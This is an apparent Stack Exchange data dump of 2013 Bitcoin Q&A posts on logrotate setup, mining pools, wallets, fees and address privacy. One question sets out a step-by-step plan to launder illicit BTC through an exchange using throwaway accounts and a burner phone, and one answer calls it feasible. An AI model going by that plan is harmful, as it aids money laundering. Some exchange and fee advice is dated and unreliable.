  <row Id="18909" PostTypeId="2" ParentId="18857" CreationDate="2013-12-17T05:04:37.023" Score="9" Body="&lt;p&gt;You can use logrotate.&lt;br&gt;&#xA;Create a file named bitcoin-debug in /etc/logrotate.d.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;/home/bitcoin/.bitcoin/debug.log&#xA;{&#xA;        rotate 36&#xA;        monthly&#xA;        missingok&#xA;        notifempty&#xA;        compress&#xA;        delaycompress&#xA;        sharedscripts&#xA;        postrotate&#xA;                kill -HUP `cat /home/bitcoin/.bitcoin/bitcoind.pid`&#xA;        endscript&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace /home/bitcoin/.bitcoin with the actual path to your bitcoin directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full logrotate manpage is here: &lt;a href=&quot;http://manpages.ubuntu.com/manpages/jaunty/man8/logrotate.8.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://manpages.ubuntu.com/manpages/jaunty/man8/logrotate.8.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ubuntu the logrotate daemon manages many different log files.  In the /etc/logrotate.d folder, each file contains instructions for the logrotate deamon.  Adding this file tells logrotate that you want to start a new log file once a month. The other options tell it to compress the old logs after a day and to keep only 36 months worth (3 years) of logs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I originally found out about logrotate from this thread: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=130533.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=130533.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to bear in mind is that given this sends the SIGHUP signal to the bitcoin server, if you happen to be running bitcoin within gdb, it becomes necessary to tell gdb to ignore the SIGHUP signal, so far example, bitcoind can be run using: &lt;pre&gt;gdb $HOME/.bitcoin/bitcoin-qt -ex 'handle SIGHUP nostop' -ex run&lt;/pre&gt;&lt;/p&gt;&#xA;" OwnerUserId="628" LastEditorUserId="1221" LastEditDate="2020-02-24T13:48:45.010" LastActivityDate="2020-02-24T13:48:45.010" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18910" PostTypeId="1" AcceptedAnswerId="18913" CreationDate="2013-12-17T05:52:05.753" Score="1" ViewCount="183" Body="&lt;p&gt;Must all members of a mining pool use the same address?  Is there ever an exception?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know nothing of mining pools so can provide more information if possible, but what I mean in specifics is can a mining pool use every member's address in the blocks, or do all members have to use one address in the blocks and be repaid later on trust?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2013-12-17T08:36:13.773" Title="Must mining pools use the same address?" Tags="|mining-pools|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18911" PostTypeId="1" AcceptedAnswerId="18912" CreationDate="2013-12-17T07:04:47.597" Score="2" ViewCount="171" Body="&lt;p&gt;I am a newbie in the Bitcoin field and when I heard that we can mine Bitcoin in pools to generate bitcoins, It got me curious and I thought to know more about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked many site, it says you first need a bitcoin wallet that by downloading a Bitcoin software which automatically generates your wallet and starts downloading the transaction history which I get is around 6GB of files!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here my man aim is to mine bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would like to know if there is a way to mine them without downloading the transaction history and if yes then please tell me about the required softwares or websites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="10954" LastActivityDate="2013-12-17T07:36:58.920" Title="Does mining require downloading the transaction history" Tags="|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18912" PostTypeId="2" ParentId="18911" CreationDate="2013-12-17T07:36:58.920" Score="0" Body="&lt;p&gt;You can mine them, as long as you're in a pool, where your earnings (awarded as shares of the blocks you help solve) will go to your pool wallet online until you pull them out into your local wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking you want your coins in your local wallet so that if a pool goes down or is compromised in some way, you don't lose your hard-earned coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So start downloading the blockchain with your wallet, but while you do so you may also begin mining.&lt;/p&gt;&#xA;" OwnerUserId="10958" LastActivityDate="2013-12-17T07:36:58.920" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18913" PostTypeId="2" ParentId="18910" CreationDate="2013-12-17T08:36:13.773" Score="3" Body="&lt;p&gt;Your address is not in the blocks being mined.  All of the coins go to the pool operator.  He then takes his cut and divides the rest among the members of the pool.  The pool usually keeps the coins in your mining account until it reaches a payout threshold or you request a manual distribution.  This is done to reduce the number of very small transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, you have to trust the pool operator.  But all blocks can be viewed on the blockchain, so you can audit the results if necessary.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-17T08:36:13.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18915" PostTypeId="1" AcceptedAnswerId="18916" CreationDate="2013-12-17T10:32:52.120" Score="2" ViewCount="469" Body="&lt;p&gt;I bought $10 worth of Bitcoin from a friend that does Bitcoin mining, but he told me I need a wallet so he can send them to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I create a wallet and what information do I need to email to him so he can send those bitcoins to my wallet?&lt;/p&gt;&#xA;" OwnerUserId="10925" LastActivityDate="2013-12-18T16:47:06.027" Title="I bought some bitcoins from a friend, I don't even have a wallet, now what?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18916" PostTypeId="2" ParentId="18915" CreationDate="2013-12-17T11:14:40.200" Score="3" Body="&lt;p&gt;The two most common options for wallets are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Online wallet&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You basically sign up on a website such as Coinbase(recommended if you are in the USA), or Bitstamp( recommended if you are in Europe). There's also other options like: Mt.Gox, BTC-e, BTer, etc. There you should find an option to &quot;Deposit funds&quot; using Bitcoin, which will show you your wallet address. That is the address where your friend should send the bitcoins to.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Pro's&lt;/strong&gt;: the third party website maintains your wallet synced for you, everything is based on the cloud, so you can operate from any computer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Con's&lt;/strong&gt;: the third party is essentially in charge of your money, so you &lt;em&gt;have&lt;/em&gt; to trust them&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Local wallet&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You download a software ( official one is &lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). Install and run it. Once you run it, it will take a from one to few hours to download all the blocks from the network.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Pro's&lt;/strong&gt;: you don't need to trust any third party. So, unless someone accesses your computer somehow(i.e. physically, malware,etc). You are the only one in charge of your money&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Con's&lt;/strong&gt;: if you loose your wallet file(i.e. stolen computer, damaged hard disk,etc), you basically loose your money( unless you kept backups of your wallet). You can't operate in &lt;em&gt;all&lt;/em&gt; computers, although you could in principle have your OS installed in a memory stick, hence being portable, and at the same time risky.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10962" LastEditorUserId="10962" LastEditDate="2013-12-18T16:47:06.027" LastActivityDate="2013-12-18T16:47:06.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18918" PostTypeId="1" AcceptedAnswerId="18923" CreationDate="2013-12-17T11:41:46.780" Score="7" ViewCount="4243" Body="&lt;p&gt;From what I understand about Bitcoin, a wallet is really just a pair of public/private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if someone needs to send me Bitcoins, all I need to do is just generate a pair or public/private keys using OpenSSL or some other tool, and send the public key to that person, without actually downloading a Bitcoin client (which will download a 12 GB block chain), or saving a &lt;code&gt;wallet.dat&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct?&lt;/p&gt;&#xA;" OwnerUserId="10925" LastActivityDate="2017-10-30T13:42:25.937" Title="Can I generate an offline Bitcoin wallet using only OpenSSL?" Tags="|wallet|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18919" PostTypeId="2" ParentId="17342" CreationDate="2013-12-17T11:50:24.400" Score="0" Body="&lt;p&gt;Power on&#xA;Ethernet cable direct to router&#xA;Make sure your router's subnet is 1, ie 192.168.1.x&#xA;Using a browser navigate to 192.168.1.254:8000 - this goes to the blade's configuration page.&#xA;Change the ip to something useful like .200, and if you have multiple connect them one by one and change to .200, .201 etc. If you don't you'll have conflicting IPs and they'll conflict&#xA;We need to use a stratum proxy as these blades were designed for the extinct getwork protocol. Download the stratum proxy and open the file.&#xA;On the blade config page, enter the IP of the computer with the stratum proxy on as the server address. Enter it twice as the blade needs two pools to start mining, ie &quot;192.168.1.102,192.168.1.102&quot;&#xA;Username and password is for Slush's pool, stick with that for now&#xA;Click update, then go back to the config IP you set&#xA;Set clock to high by hitting change clocks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change pool, create a .bat file in notepad. Just save it as .bat in the file name. Move the stratum proxy to the location provided and put the following text inside for eu btcguild. Change pool port and address as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote&#xA;cd C:\Program Files (x86)\Proxy&#xA;mining_proxy.exe -o eu-stratum.btcguild.com -p 3333&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to &lt;a href=&quot;https://bitcointalk.org/?topic=205369.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/?topic=205369.0&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for full article&lt;/p&gt;&#xA;" OwnerUserId="10965" LastActivityDate="2013-12-17T11:50:24.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18920" PostTypeId="1" CreationDate="2013-12-17T12:05:22.490" Score="3" ViewCount="172" Body="&lt;p&gt;I don't understand one thing : If I get paid an amount of 0.000055 BTC ore more, how come the fee is 0.0005 ? The fee is ten times bigger than the amount I was paid?&lt;/p&gt;&#xA;" OwnerUserId="10966" LastEditorUserId="132" LastEditDate="2013-12-17T12:27:16.980" LastActivityDate="2021-04-16T11:50:19.003" Title="Can the fee be 10 times bigger than the amount that was sent?" Tags="|transaction-fees|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18921" PostTypeId="2" ParentId="18920" CreationDate="2013-12-17T12:18:39.290" Score="2" Body="&lt;p&gt;This is to avoid Spamming transactions that would take a lot of space in the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want spend this coins you should wait until transaction fees will be decreased by future updates.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastActivityDate="2013-12-17T12:18:39.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18922" PostTypeId="2" ParentId="18920" CreationDate="2013-12-17T12:19:16.947" Score="3" Body="&lt;p&gt;The tansaction fee is based mostly on the transaction size (in kilobytes), not its amount (in BTC). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even more: the bitcoin protocol is quite unfriendly to small transactions to prevent spamming the network. If the transaction output is larger then 0.1 BTC, then the fee could be leveraged (more on fee generation algorithm &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2013-12-17T12:19:16.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18923" PostTypeId="2" ParentId="18918" CreationDate="2013-12-17T12:19:47.127" Score="10" Body="&lt;p&gt;You are almost correct ;-) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a public/private key using OpenSSL (in fact, some wallets use OpenSSL libaries to generate the keys). However, the bitcoin address is not your public key but a function of such public key. The exact function is defined here&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, once you generate your pair of keys and compute the bitcoin address from your public key, you can receive bitcoins in such bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="10967" LastActivityDate="2013-12-17T12:19:47.127" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18924" PostTypeId="1" CreationDate="2013-12-17T12:36:02.473" Score="1" ViewCount="421" Body="&lt;p&gt;I know about &lt;a href=&quot;http://ufasoft.com/coin/&quot; rel=&quot;nofollow&quot;&gt;http://ufasoft.com/coin/&lt;/a&gt;&#xA;but this is only for windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;main goal is to put in on dropbox (or same syncing service) and have access to wallet from any of my PC's with any system on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and yes, there are a lot of web wallets, but i'm looking for something local&lt;/p&gt;&#xA;" OwnerUserId="10968" LastActivityDate="2013-12-17T12:36:02.473" Title="Is there any cross-platform multi-currency wallet?" Tags="|wallet|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18925" PostTypeId="1" CreationDate="2013-12-17T13:53:42.780" Score="1" ViewCount="125" Body="&lt;p&gt;Why are there such huge differences between the commissions applied by sites like Bitstamp.org (0.5-1%) and other sites (I have seen 5-10% fees)?&lt;/p&gt;&#xA;" OwnerUserId="9894" LastEditorUserId="5406" LastEditDate="2014-01-15T00:09:47.257" LastActivityDate="2014-01-15T00:09:47.257" Title="Why are there such huge differences between commissions on different exchanges?" Tags="|exchanges|exchange-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18928" PostTypeId="1" AcceptedAnswerId="18929" CreationDate="2013-12-17T14:36:39.247" Score="16" ViewCount="182278" Body="&lt;p&gt;Is there a website or service that can quickly lookup how much bitcoins are there in a given wallet/address, so I can look up my own wallet from a friend's computer which doesn't have the Bitcoin client installed?&lt;/p&gt;&#xA;" OwnerUserId="10925" LastEditorUserId="10925" LastEditDate="2016-08-08T05:23:11.937" LastActivityDate="2016-08-08T05:23:11.937" Title="Check how much money there is in my Bitcoin address/wallet" Tags="|wallet|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18929" PostTypeId="2" ParentId="18928" CreationDate="2013-12-17T15:05:12.263" Score="12" Body="&lt;p&gt;You can use &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;noreferrer&quot;&gt;Blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just paste the address you want to check into the Search inputbox and the website will show you all the transactions where that address was involved, as well as the balance.&lt;/p&gt;&#xA;" OwnerUserId="10862" LastEditorUserId="24925" LastEditDate="2015-11-26T03:06:20.073" LastActivityDate="2015-11-26T03:06:20.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18930" PostTypeId="2" ParentId="18849" CreationDate="2013-12-17T16:25:35.243" Score="2" Body="&lt;p&gt;Unfortunately, there is not much you can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By design, it is very difficult to identify a person from a Bitcoin address. In principle, if the thief eventually  transfers the coins to an exchange in order to sell them, it could be possible to trace  the coins to that point, and the exchange might know who got the money. But they would probably not divulge this without a court order (if even then), and they may be in a different country with different laws. Moreover, the thief could use a mixing service or other techniques to make it much more difficult to trace the coins to the exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IP address is a little better (yours is missing some dots, by the way). You can use a tool such as whois to find the ISP to whom the address is registered, and their records would show which of their subscribers was using it at that time. But again, you'd need a court order, and they could be in a different country. Furthermore, there's a very good chance that the thief is not actually their subscriber, but someone who compromised their subscriber's computer and used it remotely. There could even be several layers of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of these steps would need the assistance of law enforcement, so it would be reasonable to report the theft to your local or national police agency, and give them the information you've shared with us. (It could take some work to educate them about Bitcoin, or find an officer who is already familiar with it.) But unless      the thief has done a shoddy job of covering his tracks, it's unlikely he'll be caught, and even less likely that you'll be able to recover your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-17T16:25:35.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18932" PostTypeId="1" AcceptedAnswerId="18938" CreationDate="2013-12-17T16:55:41.753" Score="2" ViewCount="86" Body="&lt;p&gt;I'm new to BitCoin, and as I'm doing my adventure, found a site and gave me some micro BitCoins to test and see how the system works. Now, I finally received a message in my Transactions in my Wallet and it was marked with a '?' in front of the message. Hovering over it showed that 0 of 6 verifications. So, do I need to verify the message? When I opened the menu on File, I saw it has a verify message option. &lt;/p&gt;&#xA;" OwnerUserId="10957" LastActivityDate="2013-12-17T18:20:09.383" Title="When we receive a transaction or BitCoin payment, do we need to verify the message?" Tags="|message-verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18935" PostTypeId="2" ParentId="18932" CreationDate="2013-12-17T17:15:30.307" Score="1" Body="&lt;p&gt;There are two distinct concepts here, &lt;em&gt;confirmation&lt;/em&gt; and &lt;em&gt;message verification&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Confirmation&lt;/em&gt; is a process by which transactions are confirmed as authentic and permanent by miners on the Bitcoin network.  Once a transaction is made, it will automatically accumulate confirmations over time without any further action on your part (and the the number you see when you hover over the transaction will increase).  The time required for each confirmation is random, but designed to average about 10 minutes.  6 confirmations is considered to be sufficient to essentially eliminate the risk that the transaction could be invalidated by a so-called &lt;em&gt;double-spend attack&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Message verification&lt;/em&gt; is a more specialized feature of Bitcoin, whereby a user can sign a message proving that she is the owner of a particular address, and other users can verify this.  It is useful for certain specific applications, but isn't needed to send and receive ordinary transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good source for information about all these concepts is &lt;a href=&quot;https://bitcoin.it&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-17T17:15:30.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18936" PostTypeId="2" ParentId="9591" CreationDate="2013-12-17T17:58:51.970" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://ice3x.com/&quot; rel=&quot;noreferrer&quot;&gt;ICE3X&lt;/a&gt; is a new and improved site for South Africans.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buy and Sell: Bitcoin (BTC) / Litecoin (LTC) / Rand (ZAR).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links directly to your South Africa bank account. Fast and Direct EFT transfers to our Bank Account, currency storage and quick trading.&lt;/p&gt;&#xA;" OwnerUserId="10983" LastEditorUserId="5406" LastEditDate="2013-12-26T21:43:40.387" LastActivityDate="2013-12-26T21:43:40.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18937" PostTypeId="2" ParentId="18801" CreationDate="2013-12-17T18:10:43.497" Score="0" Body="&lt;p&gt;To compose Bitcoin URIs, experiment with a wallet such a Multibit, and go into Multibit's &quot;Request Bitcoin&quot; functionality.  The Label field allows the wallet's user to compose a Bitcoin URI that is embedded within a QR Code image to the right side of Multibit. If you don't have one already, get a QR scanner installed on your smart phone. Scan the QR code. Email it to yourself and analyze it. Do a few rounds of this and then you should begin to understand a purpose for BIP-021.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-17T18:10:43.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18938" PostTypeId="2" ParentId="18932" CreationDate="2013-12-17T18:20:09.383" Score="1" Body="&lt;p&gt;There is nothing you need to do to get your 6 verifications but wait.  Approximately every 10 minutes, a new block will be solved that should include your transaction.  Once your transaction is in a block, your client will show 1 of 6 verifications.  Now you simply need to wait until 5 more blocks are solved.  Once this happens, your client will no longer show the ? next to the transaction.&lt;/p&gt;&#xA;" OwnerUserId="10979" LastActivityDate="2013-12-17T18:20:09.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18939" PostTypeId="2" ParentId="4916" CreationDate="2013-12-17T18:43:56.537" Score="1" Body="&lt;p&gt;you can, absolutely, send coins to any address, that is, any hash whatsoever.  that is the basis for this project: &lt;a href=&quot;https://www.btproof.com&quot; rel=&quot;nofollow&quot;&gt;https://www.btproof.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I don't understand is, according to &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Address&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Bitcoin address, or simply address, is an identifier of 27-34&#xA;  alphanumeric characters, beginning with the number 1 or 3, that&#xA;  represents a possible destination for a Bitcoin payment&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which begs the question, if the hash doesn't have to adhere to the above specification, then why have the spec?&lt;/p&gt;&#xA;" OwnerUserId="6942" LastActivityDate="2013-12-17T18:43:56.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18942" PostTypeId="2" ParentId="18868" CreationDate="2013-12-17T18:55:46.930" Score="4" Body="&lt;p&gt;Your best bet with a GPU is to mine scrypt coins.  If you want the resulting payout to be in bitcoin, try using mining on a multi-pool like &lt;a href=&quot;http://middlecoin.com&quot; rel=&quot;nofollow&quot;&gt;middlecoin.com&lt;/a&gt;. That pool automatically chooses the most profitable scrypt-based coin to mine and pays out daily in bitcoin.&#xA;I have 4 7950s pointing at middlecoin and make between .05 to .1 bitcoin per day.&lt;/p&gt;&#xA;" OwnerUserId="3703" LastActivityDate="2013-12-17T18:55:46.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18944" PostTypeId="1" AcceptedAnswerId="18945" CreationDate="2013-12-17T19:44:34.347" Score="2" ViewCount="220" Body="&lt;p&gt;can anyone assign btc address with wallet? &#xA;I mean if I create like 5 addresses in one wallet, can anyone from outside prove that these 5 addresses belong to one person/wallet?&#xA;I know you can see IP that relayed the transaction, but if you use TOR or some other SW there will be plenty of relayed transactions from that IP so it will not say anything.. or am I wrong? Thanks for answers.&lt;/p&gt;&#xA;" OwnerUserId="10988" LastActivityDate="2014-03-14T03:15:53.643" Title="Can anyone assign btc address with wallet?" Tags="|transactions|wallet|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18945" PostTypeId="2" ParentId="18944" CreationDate="2013-12-17T20:05:58.150" Score="2" Body="&lt;p&gt;Yes it's possible if you don't take care.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's imagine you have 1BTC on each of your five BTC addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you want to spend 4.5BTC, your transaction will look as following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input:&#xA;Addr A (1BTC)&#xA;Addr B (1BTC)&#xA;Addr C (1BTC)&#xA;Addr D (1BTC)&#xA;Addr E (1BTC)&#xA;output:&#xA;Addr X (4.5BTC)&#xA;Addr Y (0.5BTC) // the change&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By seeing such a transaction you can easily deduce that the Addresses A,B,C,D,E belongs to the same person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note that&lt;/strong&gt; this is not a 100% evidence because several people can put their coins together in one transaction for example for an &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_3%3a_Assurance_contracts&quot; rel=&quot;nofollow&quot;&gt;Assurance contract&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note that&lt;/strong&gt; when you use TOR it creates a static route from your computer to an exit node. If you don't click on the 'Use a new identity' button your transactions will be broadcasted through the same TOR exit node. So click on 'Use a new identity' between each transactions.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2014-03-14T03:15:53.643" LastActivityDate="2014-03-14T03:15:53.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18946" PostTypeId="1" AcceptedAnswerId="18948" CreationDate="2013-12-17T21:13:49.280" Score="7" ViewCount="2893" Body="&lt;p&gt;The scenario I was thinking of was I have some bitcoin from doing Bad Things (TM) that I want to launder.  I could register with kraken.com and trade only virtual currencies with the L1 verification ( un/pw, country of residence, phone ).&lt;br&gt;&#xA;Process&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;deposit dirty BTC&lt;/li&gt;&#xA;&lt;li&gt;buy LTC&lt;/li&gt;&#xA;&lt;li&gt;transfer to another LTC address&lt;/li&gt;&#xA;&lt;li&gt;transfer back to another kraken account.&lt;/li&gt;&#xA;&lt;li&gt;buy BTC&lt;/li&gt;&#xA;&lt;li&gt;transfer BTC to another exchange that I have linked to a bank account&lt;/li&gt;&#xA;&lt;li&gt;cash out BTC&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What issues do you see with this?  From what I understand kraken.com only has a un/pw ( easy to create a throwaway ) country of origin ( no verification, can lie ) and phone ( easy to buy a burner ).  And even that isn't public knowledge.  Once I transfer to LTC those litecoins are now clean.  Does that make sense?  There is no link between BTC sold and LTC bought except for at the exchange and that only has untraceable details ( un/pw/fake country of origin/burner phone)&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-12-17T22:01:36.930" LastActivityDate="2016-03-03T23:25:51.397" Title="is it possible to launder bitcoin by exchanging it for litecoin and then back to bitcoin?" Tags="|exchanges|litecoin|money-laundering|aml|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18947" PostTypeId="2" ParentId="18946" CreationDate="2013-12-17T22:10:33.703" Score="2" Body="&lt;p&gt;Yes I would say that this is quite possible but because litecoin is traceable like Bitcoin the entire laundering process you described reposes on the exchanges platform confidentiality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is actually a coin called Zerocoin that is in preparation and that is designed to be completely untraceable. I hadn't a deep look into their &lt;a href=&quot;http://spar.isi.jhu.edu/~mgreen/ZerocoinOakland.pdf&quot; rel=&quot;nofollow&quot;&gt;White paper&lt;/a&gt; so I can not tell you if it will work well but you can may be find it out by yourself.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastActivityDate="2013-12-17T22:10:33.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18948" PostTypeId="2" ParentId="18946" CreationDate="2013-12-17T22:18:50.737" Score="11" Body="&lt;p&gt;Because all transactions in both Litecoin and Bitcoin are stored in the block chain, you run into the same issue you do here if you were just to try and withdraw USD for bitcoins, i.e., does your intermediary store logs of the off chain transactions? When you buy LTC using BTC on Kraken, if Kraken decides to log this transaction then there is now a link between the BTC and the LTC. This link could be used by law enforcement if they are trying to trace some dirty BTC. From an LEO point of view, this is how they would follow the money:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use the BTC blockchain to trace the money to a Kraken account.&lt;/li&gt;&#xA;&lt;li&gt;Ask Kraken for information about where that money went. Kraken gives them an LTC address.&lt;/li&gt;&#xA;&lt;li&gt;Use the LTC blockchain to trace the money to another Kraken account.&lt;/li&gt;&#xA;&lt;li&gt;Ask Kraken for information on where the LTC went. Kraken gives them a new BTC address.&lt;/li&gt;&#xA;&lt;li&gt;Use the BTC blockchain to follow the &quot;laundered&quot; money.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The blockchain stores all transactions. The only way to clean money is to do some sort of transaction off of the block chain. To do that you need an intermediary who is willing to do that for you, and take the risk of LEO or some other regulatory firm calling them on it. Shady mixing pools might be willing to do this for you, but Kraken or other legitimate commercial exchanges will not.&lt;/p&gt;&#xA;" OwnerUserId="7583" LastActivityDate="2013-12-17T22:18:50.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18950" PostTypeId="2" ParentId="18946" CreationDate="2013-12-17T23:53:23.163" Score="1" Body="&lt;p&gt;There is already one alternative crypto-currency that is trying to solve the problem of staying anonymous while performing transactions:&#xA;&lt;a href=&quot;http://stablecoin.net&quot; rel=&quot;nofollow&quot;&gt;http://stablecoin.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2506" LastActivityDate="2013-12-17T23:53:23.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
